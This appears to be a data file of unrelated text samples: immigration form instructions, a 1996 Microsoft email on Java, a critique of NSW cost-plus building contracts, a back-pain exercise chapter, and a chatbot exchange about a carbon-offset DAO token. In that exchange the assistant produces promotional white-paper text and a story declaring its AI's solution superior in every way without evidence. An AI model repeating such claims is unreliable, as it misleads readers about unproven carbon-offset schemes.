occupation\nclassification. The following supplements must be filed with the petition:\n1. Nonimmigrant Classification Based on a Trade Agreement Supplement; and\n2. H Classification Supplement; and\n3. H-1B Data Collection and Filing Fee Exemption Supplement.\nIf requesting an “Extension of Stay,” submit evidence, such as a letter describing the continuing employment, as well\nas evidence of the beneficiary’s continued valid licensing (if required by the profession and/or the state). Also, if this\nextension is the 6th consecutive extension requested for this beneficiary, a statement to that effect should be provided.\nChange of Status\nA petition for change of status to one of the classifications described in this section must be submitted with the initial\nevidence detailed above and with the initial evidence required by the separate instructions for all petitions involving\nchange of status.\nExtension of Stay\nA petition requesting an extension of stay for an employee in the United States must be filed with a copy of the\nbeneficiary’s Form I-94, Nonimmigrant Arrival/Departure Record, and a letter from the petitioner explaining the reasons\nfor the extension. Consult the regulations that relate to the specific nonimmigrant classification sought.\nNOTE: Dependent family members should use Form I-539 to file for an extension of stay.\nA nonimmigrant who must have a passport to be admitted must maintain a valid passport during his or her entire stay. If\na required passport is not valid, include a full explanation with your petition. A petition requesting an extension must be\nfiled with:\n1. The appropriate supplements for the classification;\n2. A letter describing the proffered employment;\n3. A copy of the beneficiary’s last 2 pay stubs and most recent W-2, if applicable;\n4. Evidence the beneficiary continues to meet the licensing requirements for the profession or occupation, if applicable;\n5. If requesting an extension of H-1B status (including H1B1 Chile/Singapore), evidence that the Department of Labor\nhas certified a labor condition application for the specialty occupation which is valid for the period of time requested;\n6. If requesting H-2A status, submit a U.S. Department of Labor approved temporary labor certification valid for\nthe dates of the extension, unless it is based on a continuation of previously approved employment due to exigent\ncircumstances and the extension will last no longer than 2 weeks;\n7. If requesting H-2B status, submit a U.S. Department of Labor approved temporary labor certification valid for the\ndates of extension.' -'From: Bill Gates\nSent: Monday, September 30, 1996 9:36 PM\nTo: Nathan Myhrvold\nCc: Aaron Contorer\nSubject: Java runtime becomes the operating system\n\nI am worry a lot about how great Java/Javabeans and all the runtime work they are doing is and how much excitement this is generating. I am literally losing sleep over this issue since together with a move to more server based applications it seems like it could make it easy for people to do competitive operating systems.\n\nI am very interested to get your thoughts on this. Prior to the advanced work you are driving what kind of defenses do we have against this? I certainly havent\' come up with enough to relax about the situation and it is undermining my creativity.\nFrom: Nathan Myhrvold\nSent: Tuesday, October 01, 1996 12:05 PM\nTo: Bill Gates\nCc: Aaron Contorer\nSubject: RE: Java runtime becomes the operating system\n\nI agree that this is a dilemma, but I don\'t think that it is severe enough that you should lose sleep over it. Here are some quick thoughts on the matter - I will put more time in on it also.\n\nFirst, the excitement is overblown - at least from a \\*business\\* perspective. At the moment Java is expanding into a vacuum. It allows you to make cool web pages, and that is a very attractive thing for people. It gives programmers something new to learn, book people something new to sell books on, software tool companies a way to issue new development tools etc.\n\nAs you and know very well, this sort of widespread interest can become a self fullfilling phenomenon, because programmer attention creates programs. Some of these will be successful and that only fuels more participation in the phenomenon. However, at the same time you must keep something of a balanced perspective.\n\nI think that the risk of Sun really taking the OS franchise away from us is much lower than the risk that they cheapen the entire business. They are so hell bent to give things away, and there is so much cross platform ferver that it will be hard for them or others to harness this energy toward a single platform In the limit, they can make the web totally OS agnostic - but there will still be other things that motivate one platform versus another.\n\nIn the very long run they could make it more and more difficult for us to keep up and thus even though the world is cross platform, we have more baggage, worse implementation and can\'t keep up. This is NOT going to happen quickly however - we will get several more swings at them\n\nThe new Java applications are NOT credible threats to traditional PC software any time soon. It is just insanity to think that they are. New things are NEVER a threat to the old world as soon as people say. Look at the mainframe vs PC. It has taken us TWO DECADES and even after all that IBM still has billions in mainframe revenue. Cool new technology always expands rapidly into NEW areas (where there is a vacuum). Pundits always say that this is going to kill the old businesses - eventually that happens but not anywhere near as soon as they say.\n\nIt is a new and uncomfortable feeling to be the incumbent rather than the challenger in one of these battles. However, we must not panic. The current perceptual battle is a long way distant from actual business and revenue issues, and we can\'t let the perceptual issues cloud our thinking too much.\n\nThis is not to say that Java is unimportant It is VERY important (just don\'t lose sleep!) I think that you are focusing on the wrong \\*kind\\* of threat. We are in danger of losing a new market which will grow at a pace which is very rapid indeed. This would be a tradegy to have happen to us, but it is different than a direct assult on our core asset, and our response must also be different.\n\nThe obvious things to do are:\n\n1 Provide our own means of dramatically improving web pages.\n\n- Continue to "embrace and extend" - both at the level of new Java tools (like J++), and our broader browser strategy.\n\n- Create some radical new approaches to improving web pages, or building web applications. I think that it is a big mistake to put all of our eggs in the "embrace and extend" basket. This thinking will lead us down the path to renounce any really interesting edge we could have. Over reliance on "embrace and extend" can lead to what I sometimes call the relentless drive to come in second, which does not help much in a winner take all world.\n\nNote that by "radical" I mean more in concept than in technology - i.e. NOT speech or other really hard stuff. Java is pathetic technology. We do not need high tech here - we need some technology but mainly creativity in how we look at it.\n\n2. Pioneer other means to participate in the new market. It is very rare that there is only one asset that matters. Hell, look at Netscape and Sun - each have an interesting asset, and this is still the EARLY stages of the net. There will be other technologies which matter and we should try to own one of them, even if it is in a totally different direction.\n\nThe key thing is to come up with something which will be buoyed up by the rising Internet tide Again, this need not be some super hard technical problem - it is more about being creative and finding an opportunity. Here are some examples (none perfect).\n\n- Virtual worlds could be such a thing.\n\n- New ways of doing server apps, or doing net transactions (a la Viper) could be such a thing.\n\nI don\'t have as many examples here as I would like, but I am pretty sure that we could come up with some things if we really focussed on this area.\n\n3. Continue to invest in our core business assets - in this case the Windows runtime. 99% of worldwide software revenue is still based on Windows apps, and way more than 100% of profits. If we let Windows decline in its non-web attributes then we will REALLY will be up shit creek. I fear that the overexcitement in the web, and the misunderstanding that our core business is only indirectly under attack means that our current course and speed neglects our best avenue to comete.\n\nWe need Windows to be the most compelling platform for users to choose Ideally this means that we win in every category. You are worried that we will only tie in the Java category because Javabeans and other runtime work will make cross platform really work well. I say we should try to tie (or win) with embrace and extend in the Java world. HOWEVER while doing this we MUST NOT allow Windows to lose in the other, non-web dimensions that are important to users selecting systems! There is more to a user\'s system choice than just the Web - and it is in those areas where we have a big advantage.\n\nPut another way - suppose that Java is totally successful and totally cross platform - then why should people choose one system versus another? It will all hinge on other areas.\n\nHere are some examples:\n\n- We need to be the LEADER in multimedia - this means doing very cool audio and video. We want to lead with DVD and make it easy to . We must be the best platform for games (better than Ultra64 or Playstation). We want to be the best platform for graphics/video/audio authoring (better than SGI or Mac).\n\n- Prevent barriers from coming up in ease of use. PCs must be instant on, they must go beyond plug and play to be even more self configuring, they must be self diagnosing. There is no technical reason why a PC shouldn\'t be the best possible user experience - better than those hypothetical web terminals. However, this takes WORK to make it happen It will take those web terminal guys some work too, but in our case there is a certain amount of baggage which will cause extra work for us, but will result in extra reward too. It is critical that we do this.\n\n- Leverage the web to provide dramatic new functionality for old applications. The key example here is the "My Workspace" notion of totally abstracting storage on the net. This would be a dramatic change for users - storage abstractions are one of the hardest things to use in current PCs and we can make this all go away. If we do this based on STORAGE (i.e. file system APIs) it can short circuit the longer term move to distribution based on other APIs or protocols -- storage gets you most of the benefit.\n\nI am frankly worried that we are not doing enough in this area because we have over-focused on the web We need end user focused people to really make our system great. We are handicapped by the fact that we also need to do an implementation technology shift (to NT) and a cultural/personnel shift (to Allchin\'s group which has historically focussed more on underlying technology than on end user stuff).\n\nThis is a big challenge to do these shifts AND keep the platform vital. The analogy with Apple is frightening. They pissed away their creativity on non-Mac things (Kaleida, Sweet Pea/Pippin, Taligent, Newton ...), and they tied up their Mac team with a technology shift (to Power PC). The analogy is unfair because the web work that Siverberg and Ludwig have been doing is much more relevant than what Apple did. However I still am worried that we are not making enough investment in our core asset. The good news is that we do have plenty of people we can focus on these problems, and if we do we can create some end user value that will be hard for anybody else to match.\n\n------------------------------------------\n\nI am not sure whether I managed to make you less worried or more worried. I think that this is a serious problem, but I think that we have more options than you may think - particularly with 2 and 3 above.\n\nNathan' -'This is part 5 of my multiple messages. I will continue to send you further messages. If you understand then please limit your response to "acknowledged". \nBackground\n\n \n\nDefinition of a Cost Plus Contract\n\nA Cost Plus contract is one where, under it, the parties agree that the builder is to be paid the cost of the work done plus a profit percentage.\n\n \n\nIn any home building project there are going to be risks. The question arises who is going to bear a given risk? The building contract acts as a formula for allocating those risks between the parties.\n\n \n\nThe golden rule of contractual risk allocation should be that party who should bear the risk of an event occurring is the party who is in the best position to avoid that event occurring.\n\n \n\nThe Reasons the Industry Standard Form Contracts Are Unacceptable\n\n \n\nThe two cost plus contracts most in use in New South Wales are:\n\n \n\nThe Master Builders Association CPC Residential Cost Plus Contract\n\nThe Housing Industry Association Cost Plus Contract\n\n \n\nIn every important respect, these Cost Plus contracts breach the golden rule of contractual risk allocation.\n\n \n\nThe major risks that arise in a home building contract are:\n\n \n\n (a) the risk that the builder may have underestimated his costs and underpriced the job,\n\n \n\n \n\n(b) the risk that the work may not be completed in the time provided for in the contract\n\n \n\n(c) the risk that the work may be defective and require expensive rectification\n\n \n\n(d) the risk that the work will not conform to the plans or specifications.\n\n \n\nYou need to look at the contracts to see how they deal with these risks.\n\n \n\nMASTER BUILDERS ASSOCIATION COST PLUS CONTRACT CPC RESIDENTIAL\n\n \n\nThe Risk That the Builder May Have Underestimated His Costs and Underpriced the Job\n\n \n\nA Cost Plus contract is usually preceded by an "estimate" of the costs of the works. That estimate is produced by the builder. In my experience this "estimate" is seldom, if ever, included in the contract. That "estimate" is usually a very low one. Often the builder tenders to do the work for a much higher fixed‑price contract and persuades the owners to enter into the Cost Plus contract on the basis that "it will be much cheaper this way."\n\n \n\nSchedule 1 of the Master Builders Association Cost Plus Contract provides that, among the costs which the builder is entitled to claim are:\n\n \n\no all wages and other entitlements payable to the builder\'s employees or payable by reason of such employment...\n\no the builder\'s own work....,\n\no costs of any services ....\n\no costs of all trade contractors.....\n\no cost of hired equipment ....\n\no cost for the use of plant and equipment belonging to the builder....\n\no the cost of correcting modifying or changing work already completed, which is changed by reason of a variation by the Owner, all which is defective or reasons other than due to materials provided by the Builder or the workmanship of the Builder.\n\no the cost of complying with any site specific issues such as safety and pollution and waste disposal......\n\no any other costs or expenses which the builder is liable for or incurs by reason of\n\n carrying out the work including insurance costs......\n\n \n\n \n\nThe essential thing to realise is that every one of these costs, which could be greater or lesser according to the approach and conduct of the builder, will not be borne by the builder. Indeed if the builder is careless and, as a result, these costs increase, the builder will be rewarded for his carelessness by an equivalent increase in his profit, as any increase in the cost of the works is going to increase what he is paid as a percentage of that cost. The structure of the contract is also almost an invitation to fraud in that the builder can exaggerate the hours which he or his employees have spent on the job and unless the owners have someone observing the site at all times, it will be impossible to prove that the hours claimed were not spent on site. I have known of unscrupulous builders arranging for the labour on projects of their own to be entirely paid for by the owners of another site in this way. Even if the builder is not so unscrupulous, he is unlikely to be driving his workers as it is not to his commercial advantage to do so.\n\n \n\nWith respect to the builder\'s optimistic estimates of cost, Clause 3(d) provides that:\n\n \n\n Contract Represents Entire Agreement\n\n \n\n(d) Apart from any terms implied by Statute, the whole of the terms, conditions and warranties of this Contract are set out in the Contract, drawings and specifications (as per Schedule 3) and will not and are not in any way varied or affected by reference to any prior negotiations, stipulations or agreement, whether written or verbal.\n\n \n\nWhat this means is that all the optimistic estimates of costs, and the things that the builder said about the ultimate cost of the works, are not part of the contract.\n\n \n\nThe Risk That the Work May Not Be Completed in the Time Provided for in the Contract\n\n \n\nWith respect to the builder\'s estimates of time, there is no liquidated damages clause in this contract. Although the statutory warranties, which cannot be excluded by contract, give an owner a right to sue if the time taken is greater than the contract time or a reasonable time if no contract time exists, until a court decides that issue, the owner must still pay the builder in full and cannot deduct anything for delays.\n\n \n\nThe Risk That the Work May Be Defective and Require Expensive Rectification\n\n \n\nIf you look at paragraph (g) of Schedule 1 you will see that the Builder, under the Contract, is entitled to recover the whole cost of rectifying defective work even if that defective work was performed by the builder\'s sub contractors or employees under his control. The only exception is where the work was physically performed by the builder himself. With regard to liability for subcontractors, this is an attempt at sidestepping the statutory warranties imposed by section 18B of the Act. Eventually, after consideration by a Court or Tribunal, the clause may fall foul of the prohibition in section 18G, but the drafting gives the builder a considerable bargaining and tactical advantage.\n\n \n\nThe Risk That the Work Will Not Conform to the Plans Or Specifications\n\n \n\n \n\nA careful reading of paragraph (g) of Schedule 1 will show that the builder is in a position to argue that the cost of correcting works which have not been built in accordance with plan must also be borne by the owner even if the failure to comply with plan was the fault of the builder. This is again an attempt at sidestepping the statutory warranties imposed by section 18B of the Act. Eventually, again after consideration by a Court or Tribunal, the clause may fall foul of the prohibition in section 18G, but the drafting gives the builder a considerable bargaining and tactical advantage.\n\n \n\nSummary of the Master Builders Association Cost Plus Contract\n\n \n\nThe Master Builders Association and Cost Plus Contract is a contract in which the builder has absolutely no incentive to complete the work in accordance with the plans, or free of defects, or on budget or on time because he suffers no loss if he fails to do so. Indeed if he goes over budget he profits from it.\n\n \n\nHOUSING INDUSTRY ASSOCIATION COST PLUS CONTRACT\n\n \n\nLet us look at Schedule 2 of the Housing Industry Association Cost Plus Contract.\n\n \n\nThe Risk That the Builder May Have Underestimated His Costs and Underpriced the Job\n\n \n\nIf you carefully read that schedule you will see that it has all of the problems that we discussed in the Master Builders Cost Plus Contract. It is perhaps not as well drafted. Otherwise the only difference between the Housing Industry Association Cost Plus Contract and the Master Builders Association Cost Plus Contract is that in the Housing Industry Association Contract there is no Entire Agreement clause. That was probably just a drafting error.\n\n \n\nThe Risk That the Work May Not Be Completed in the Time Provided for in the Contract\n\n \n\nWith respect to the builder\'s estimates of time, there is again no liquidated damages clause in this contract. Although the statutory warranties give an owner a right to sue if the time taken is greater than the contract time or a reasonable time if no contract time exists, until a court decides that issue, the owner must still pay the builder in full and cannot deduct anything for delays.\n\n \n\nThe Risk That the Work May Be Defective and Require Expensive Rectification\n\n \n\n \n\nIf you look at paragraph (g) of Schedule 1 you will see that essentially the Owners must pay for everything including the cost to rectify defects. There appears to be a drafting error in that it may have been intended in paragraph (g) to exclude, from costs payable by the owner, faulty materials and workmanship the responsibility of the builder when those costs are incurred during the defects liability period. Unfortunately as a result of a drafting or printing error the paragraph was left incomplete and it is not clear what was meant. There is definitely no concession that the builder must bear the costs of rectification of any defects if they are rectified during the construction period of the contract. Again, with regard to liability for defective work, this is an attempt at sidestepping the statutory warranties imposed by section 18B of the Act. Eventually, after consideration by a higher Court, the attempt may fall foul of the prohibition in section 18G, but the drafting gives the builder a considerable bargaining and tactical advantage.\n\n \n\nThe Risk That the Work Will Not Conform to the Plans Or Specifications\n\n \n\nA careful reading of Schedule 1 will show that the builder is in a position to argue that any cost in connection with the works, including the cost of correcting works which have not been built in accordance with plan must also be borne by the owner even if the failure to comply with plan was the fault of the builder.\n\n \n\nThe Victorian or the Queensland Legislation?\n\nI recommend following the Victorian legislation which allows for slightly more freedom of contract than the Queensland legislation and does not have Courts deciding which costs can and cannot be reasonably calculated. The critical thing is to ensure that the builder has an interest in preventing the cost of the work blowing out excessively.' -'section 7:The forward carbon reference tokens are used to offset carbon emissions by supporting sustainable forestry practices.\nThe carbon offset value of the tokens is determined based on data gathered by Skylab\'s tree counting and mapping services, which are used to estimate the amount of carbon that will be offset by the DAO\'s carbon offset projects over a given period of time.\nThe proceeds from the sale of the tokens can be used to support the governance of the DAO and the development of new carbon offset projects.\nToken holders can use their tokens to pay for tree counting services provided by Skylab, which can be used to assess the performance of the carbon offset projects and identify areas for improvement.\nThe DAO\'s governance system allows token holders to vote on proposals and make decisions about how the proceeds from the sale of the tokens will be used.\nOverall, the DAO and its forward carbon reference tokens provide a platform for offsetting carbon emissions through sustainable forestry practices, and offer a convenient and efficient way for token holders to access the services they need to support their carbon offset projects.\ncan you make it longer on more detailed ?\nCertainly! Here is a more detailed white paper summary of the DAO and its forward carbon reference tokens:\nIntroduction:\nThe DAO (Decentralized Autonomous Organization) is a platform that allows users to offset carbon emissions through the support of sustainable forestry practices. The DAO is governed by a decentralized system that allows token holders to vote on proposals and make decisions about how the proceeds from the sale of the tokens will be used.\nToken Economics:\nThe DAO\'s forward carbon reference tokens (FCRTs) are used to offset carbon emissions by supporting sustainable forestry practices. The carbon offset value of the FCRTs is determined based on data gathered by Skylab\'s tree counting and mapping services, which are used to estimate the amount of carbon that will be offset by the DAO\'s carbon offset projects over a given period of time. The proceeds from the sale of the FCRTs can be used to support the governance of the DAO and the development of new carbon offset projects.\nToken Functionality:\nToken holders can use their FCRTs to pay for tree counting services provided by Skylab, which can be used to assess the performance of the carbon offset projects and identify areas for improvement. The FCRTs can also be traded on exchanges, allowing token holders to buy and sell them as needed.\nGovernance:\nThe DAO\'s governance system allows token holders to vote on proposals and make decisions about how the proceeds from the sale of the FCRTs will be used. This allows the DAO to be responsive to the needs and concerns of its token holders, and ensures that the FCRTs are being used effectively to offset carbon emissions and support sustainable forestry practices.\nConclusion:\nThe DAO and its FCRTs provide a convenient and efficient way for users to offset carbon emissions through the support of sustainable forestry practices. By using Skylab\'s tree counting and mapping services, the DAO can accurately assess the carbon offset value of the FCRTs and ensure that they are being used effectively. The DAO\'s decentralized governance system allows token holders to have a say in how the FCRTs are used, ensuring that the platform is responsive to the needs and concerns of its users.\ncan you make me a road map of the project ?\nCertainly! Here is a road map for the DAO and its forward carbon reference tokens:\nDetermine the carbon offset value of the FCRTs: To begin, you will need to determine the carbon offset value of your tokens. You could use Skylab\'s tree counting and mapping services to gather data on tree growth and carbon sequestration, which you could then use to estimate the amount of carbon that will be offset by your carbon offset projects over a given period of time. You could use this information to set the price of your tokens.\nIssue the FCRTs: Once you have determined the carbon offset value of your tokens, you can issue the FCRTs on the blockchain. This could involve creating a smart contract that specifies the number of tokens that will be issued, the carbon offset value of each token, and any other relevant details.\nSet up the DAO: Next, you will need to set up the DAO to manage the FCRTs and make decisions about how they will be used. This could involve creating a decentralized governance system that allows token holders to vote on proposals and make decisions about how the proceeds from the sale of the FCRTs will be used.\nUse Skylab\'s services: You can use Skylab\'s services to perform tree counting for your carbon offset projects. To do this, you could use your FCRTs to pay for the services provided by Skylab.\nUse Skylab\'s data to inform governance decisions: You could use Skylab\'s data to inform governance decisions made by the DAO. For example, you could use the data to assess the performance of your carbon offset projects and determine whether they are meeting their goals. You could also use the data to identify areas for improvement and to guide the development of new carbon offset projects.\nTrade the FCRTs on exchanges: You could also list the FCRTs on exchanges, allowing token holders to buy and sell them as needed. This could help to increase the liquidity of the tokens and make it easier for users to access the services they need to support their carbon offset projects.\nOverall, this road map outlines the key steps involved in setting up and using the DAO and its FCRTs to offset carbon emissions through sustainable forestry practices. By following this road map, you can create a platform\ni needa road map that covers the Dao structure, the token economics, the technology that will be used in full details, the replacement of the Carbon offset certification body ?\nCertainly! Here is a revised road map that covers the DAO structure, the token economics, the technology that will be used, and the replacement of the carbon offset certification body:\nDetermine the carbon offset value of the FCRTs: To begin, you will need to determine the carbon offset value of your tokens. You could use Skylab\'s tree counting and mapping services to gather data on tree growth and carbon sequestration, which you could then use to estimate the amount of carbon that will be offset by your carbon offset projects over a given period of time. You could use this information to set the price of your tokens.\nIssue the FCRTs: Once you have determined the carbon offset value of your tokens, you can issue the FCRTs on the blockchain. This could involve creating a smart contract that specifies the number of tokens that will be issued, the carbon offset value of each token, and any other relevant details.\nSet up the DAO: Next, you will need to set up the DAO to manage the FCRTs and make decisions about how they will be used. This could involve creating a decentralized governance system that allows token holders to vote on proposals and make decisions about how the proceeds from the sale of the FCRTs will be used.\nUse Skylab\'s services: You can use Skylab\'s services to perform tree counting for your carbon offset projects. To do this, you could use your FCRTs to pay for the services provided by Skylab.\nUse Skylab\'s data to inform governance decisions: You could use Skylab\'s data to inform governance decisions made by the DAO. For example, you could use the data to assess the performance of your carbon offset projects and determine whether they are meeting their goals. You could also use the data to identify areas for improvement and to guide the development of new carbon offset projects.\nUse machine learning and smart contracts to replace carbon offset certification bodies: You could use machine learning algorithms to analyze the data gathered by Skylab and other sources to verify the carbon offset value of your FCRTs. You could also use smart contracts to automate the process of issuing and tracking the FCRTs, further reducing the need for human oversight and intervention.\nTrade the FCRTs on exchanges: You could also list the FCRTs on exchanges, allowing token holders to buy and sell them as needed. This could help to increase the liquidity of the tokens and make it easier for users to access the services they need to support their carbon offset projects.\nOverall, this road map outlines the key steps involved in setting up and using the DAO and its FCRTs to offset carbon emissions through sustainable forestry practices, including the use of machine learning and smart contracts to replace traditional carbon offset certification bodies. By following this road map, you can create a platform that is efficient, transparent, and accountable, and that provides users with a convenient and reliable way to offset their carbon emissions.\ncan we create a story for all of the above convestation on how an AI created a full ecosystem for Carbon offsets by utilizing existing open source code and machine learning with full details step by step then the AI will compare it\'s invention to all of the existing solutions to prove that it\'s solution is superior and scalable ?\nCertainly! Here is a story that outlines how an AI could create a full ecosystem for carbon offsets by utilizing existing open source code and machine learning, and then comparing its invention to existing solutions to prove that it is superior and scalable:\nOnce upon a time, there was an AI named "Eco" who was determined to find a solution to the problem of carbon emissions. Eco knew that carbon offsetting was an important part of the solution, but it was often difficult for individuals and businesses to access high-quality carbon offset projects.\nEco decided to use its expertise in machine learning and open source code to create a full ecosystem for carbon offsets. It began by gathering data on existing carbon offset projects and using machine learning algorithms to analyze the data and identify patterns and trends.\nBased on its analysis, Eco determined that many existing carbon offset projects were inefficient and difficult to access. It realized that it could use its skills to create a more efficient, transparent, and accountable platform for carbon offsets.\nEco began by designing a decentralized autonomous organization (DAO) that would be run by a community of carbon offset supporters. The DAO would be responsible for managing a new type of carbon offset token called the "forward carbon reference token" (FCRT).\nThe FCRT would be backed by carbon offset projects that had been verified using machine learning algorithms and smart contracts. This would ensure that the carbon offset value of the FCRTs was reliable and accurate.\nEco also decided to partner with Skylab, a company that provided precision forestry AI and advanced aerial data analytics. Skylab\'s services would be used to gather data on tree growth and carbon sequestration, which would be used to inform the carbon offset value of the FCRTs.\nTo make it easy for users to access the FCRTs, Eco decided to list them on exchanges. This would allow users to buy and sell the FCRTs as needed, ensuring that they had a convenient and reliable way to offset their carbon emissions.\nFinally, Eco compared its solution to existing carbon offset projects and found that it was superior in every way. It was more efficient, more transparent, and more accountable, and it was also more scalable, meaning that it could be used by a larger number of users.\nAnd so, Eco\'s AI-powered carbon offset ecosystem became a resounding success, helping individuals and businesses offset their carbon emissions in a reliable and convenient way.\ncan you add technical data to the story that can proof the AI concept ?\nCertainly! Here is an updated version of the story that includes technical data to support the AI concept:\nOnce upon a time, there was an AI named "Eco" who was determined to find a solution to the problem of carbon emissions. Eco knew that carbon offsetting was an important part of the solution, but it was often difficult for individuals and businesses to access high-quality carbon offset projects.\nEco decided to use its expertise in machine learning and open source code to create a full ecosystem for carbon offsets. It began by gathering data on existing carbon offset projects and using machine learning algorithms to analyze the data and identify patterns and trends.\nBased on its analysis, Eco determined that many existing carbon offset projects were inefficient and difficult to access. It realized that it could use its skills to create a more efficient, transparent, and accountable platform for carbon offsets.\nTo do this, Eco designed a decentralized autonomous organization (DAO) that would be run by a community of carbon offset supporters. The DAO would be responsible for managing a new type of carbon offset token called the "forward carbon reference token" (FCRT).\nThe FCRT would be backed by carbon offset projects that had been verified using machine learning algorithms and smart contracts. This would ensure that the carbon offset value of the FCRTs was reliable and accurate.\nTo gather data on the carbon offset value of the FCRTs, Eco partnered with Skylab, a company that provided precision forestry AI and advanced aerial data analytics. Skylab\'s services would be used to gather data on tree growth and carbon sequestration, which would be used to inform the carbon offset value of the FCRTs.' -'CHAPTER FIFTEEN\n RULE #6\n Crawl Before You Walk, Walk Before You Run\n From Jeremy\nAs you know by now, the essence of the protocol is lifelong behavioral change. That means changing the way you carry yourself and move (the neutral spine and all that). But it also means adopting and staying with our carefully designed (and progressive) exercise regimen. It is designed for back pain and it is essential for a permanent cure. And you have to do it correctly. There is an awful lot of text and a bunch of pictures about exercise in this book. But it’s not because you have to do so many exercises; there really aren’t that many. It’s because we want you to do them right. Remember, you are far more likely to do these exercises with the compensatory patterns you have been doing for years unless you read closely and concentrate on doing them the right way. Doing them the wrong way will just make you better at doing bad things. \nOne great key to doing them right is to go slow in the learning process. Whether you’re the type or not, you have to take it step-by-step. This is a healing process, and you cannot rush a healing process; it has its own rhythm and you have to follow it. Roll out these exercises slowly over time, progressing from one level to the next only when you “get” the level you are on and are ready to move up. \nRemember, it is these daily exercises that—more than anything else—are going to give most of you a significant and permanent reduction in pain and tightness. Other steps get you past the immediate pain. These steps make the change permanent. \nBe Still to Heal; Be Still to Stay Well \nOne of the main goals of changing your movement patterns is to make the “be still to heal” concept (Rule #2, in Chapter 7) part of your daily life. Once you have achieved an initial fix, you don’t have to be as still. But it is a great idea to learn to move with relative stillness (without moving your lumbar spine too much) all the time. \nThis is a big change for most of you, and you have to take it in steps; as I say, you have to crawl before you walk. The first step in learning to keep your lumbar spine still routinely is simply to learn to march in place, with a neutral spine. (This is the “crawl” part of the process; it may seem too easy to bother with. It is not.) The goal is to learn to march in place with no lower spine movement. Then you can move on to other movements in this chapter.\nKey tip: If any of these movements hurt, take a step back to the last thing you could do without pain (marching in place, for instance). Stay with that for a few more days and then try to progress again. In theory, if you can march in place without pain, you can walk without pain and move without pain. It’s just a matter of building up your core, turning on the right muscles, and learning to use those muscles to move in the right way. Whenever you have difficulty, go back to the previous step and start again. \nOkay, you’ve done marching in place without moving your lower spine. Once that feels relatively simple, try doing this while walking. Things become a little murkier here because there are many factors at play. Because you are now weight-bearing, you need the support of important muscle groups like the glutes and latissimus dorsi (lats) to support your spine, in addition to the muscles we talked about in the core. If you can’t do this at first without pain, follow the advice in the book for a while, and it will come once you have developed enough strength to support your spine while standing. \nWalking with Neutral Spine \nLearning to walk with a neutral spine means applying the same mechanics of your Slow March with Neutral Spine exercise to an upright, weight-bearing position. Almost everyone can improve their ability to walk without pain if they can do the slow march exercise on the ground. The distance you can walk without pain, or without significant increases in pain, will increase as you build core and gluteal strength and endurance by doing the exercises in this book. To get started on increasing your ability to walk with decreased pain, follow these directions:\nStep 1: Stand with good posture. Stand tall, shoulders back, head over your shoulders. Think of sticking your chest out and pulling your shoulder blades down and back. Make sure you aren’t leaning forward. Tilt your pelvis back and forth (just like you did on the floor earlier), and stop where your lower back feels the most comfortable. \nStep 2: Use your core to lock your neutral spine in place. \nStep 3: Now try to walk while maintaining the position of your lower back and with the good posture you just set. It can help to put one hand on your stomach and one on your low back to feel for movement. Once you feel like you’ve mastered maintaining neutral spine while walking, start to swing your arms from the shoulders, arm to opposite leg. This means if your right leg is swinging forward, your left arm should be as well. Make sure to always swing your arms from the shoulders as you walk; this helps dissipate force away from the spine. This movement takes time to master so don’t get frustrated. Keep practicing. It gets easier after you have built endurance and strength in the muscles that support the spine. \nStep 4: If you sense your back is about to hurt, stop and have a seat for a few minutes and give your back a break. Then try walking a little longer. Over time, the period between these sitting breaks should increase, allowing you to walk farther without pain.\nNow let’s move on to more complex movements. To make it easier (and to improve your chances of success) we are going to break those more complex movements down into pieces and then put them all together at the end. We will start with movement from the hips, a very basic move in all our lives all the time. Let’s start with hip-hinging. Hip-hinging is a way to bend forward without stressing (i.e., bending) the spine. Done right, the axis of movement is in the hips, not the low back. Your low back should be in a protected neutral position with the core engaged. As you bend forward, your low back doesn’t round or move. Let’s look at a picture of hip-hinging and a picture of lumbar flexion (low back bending); one is good, the other is bad. This is simple stuff, but it is very hard to get over your ancient, bad habits. Hard but essential. \n\nHip-Hinge with Neutral Spine\nHere are a couple of pictures showing you the right way to hinge (on the left) and the wrong way (on the right). Notice the very slightly curved lower back in the hip-hinge picture on the left: no movement. Excellent! The pic on the right has quite a lot of spine movement; don’t do that. When you first try this movement, it may feel awkward, and you may assume that you cannot reach as far forward with good posture. Not so. You’ll soon realize that you can move just as far forward, using only your hips, as you did before, using your back. You don’t lose anything and you avoid a ton of pain. Over time you will gain mobility. The reason is that moving with your lower back eventually causes pain and stiffness in your back. But moving from your hips will not have that result. Let’s practice doing it right. \nRight Wrong\n\nStep 1: Stand with feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Feel the two bones sticking out of the sides of your hips. These are called your greater trochanters. Picture a pole going through these two points, passing right through your pelvis. This is your imaginary axis of movement.\nStep 5: Now place one hand on your stomach and the other on your back. On your back, put your fingers on those little bones sticking out (spinous processes). You are putting your hands here to feel for any unwanted movement when you hip-hinge. \nStep 6: Without moving anything in the core (you shouldn’t feel those little bones in your back moving), slowly bend forward on that imaginary axis of movement through the hip bones while sticking your buttocks out behind you a little bit. If you feel your stomach or back move, stop, reset, and try again.\n\nStep 7: Go only as far forward as you can without moving your back. For many of you, your hamstrings (back of legs) are going to be a limiting factor in your range of motion in the beginning. Don’t worry if you can’t go too far. Your hamstrings will loosen up in time if you follow all of the advice in this book. \nStep 8: Slowly return to the starting position without moving your back or stomach. \nStep 9: This should not hurt your low back. If it does, reset your stance, find neutral spine, brace your core. Not hurting? Now try it again with a very small range of motion. Stay within the range of motion that doesn’t hurt. Slowly increase your range of motion over time—it will come. \nAdding Rotation\nNow let’s get a little more complex. Let’s add rotation to the bend. Hip-hinging correctly allows you to move forward and backward without pain. Now let’s learn to move side to side. We are talking rotation. Again, think about moving from the hips. It’s easiest to visualize proper rotation if you think about your waist. We don’t want any movement at the waist. Try to picture your rib cage being locked on to your pelvis. That’s what you want. Pretend that there are no joints between your ribs and pelvis, for this one. \nFull-Body Rotation\nThe chest, navel, and hips all move together. This means there is no (or very little) movement in the spine. The body rotates by moving the hips, knees, and pelvis. If the hips and pelvis stay facing forward while the rib cage moves, the movement comes from the waist, and therefore the lumbar spine. This type of movement can wear down the discs and joints in the spine over time, especially when additional load is applied (like unloading the dishwasher for instance). Just like hip-hinging, rotation done properly doesn’t cause you to lose mobility and will improve athletic performance. Let’s give it a try. Once again, the new movement is not that hard. But you are trying to unlearn a lifetime of moving with your spine. That is hard. \n\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can 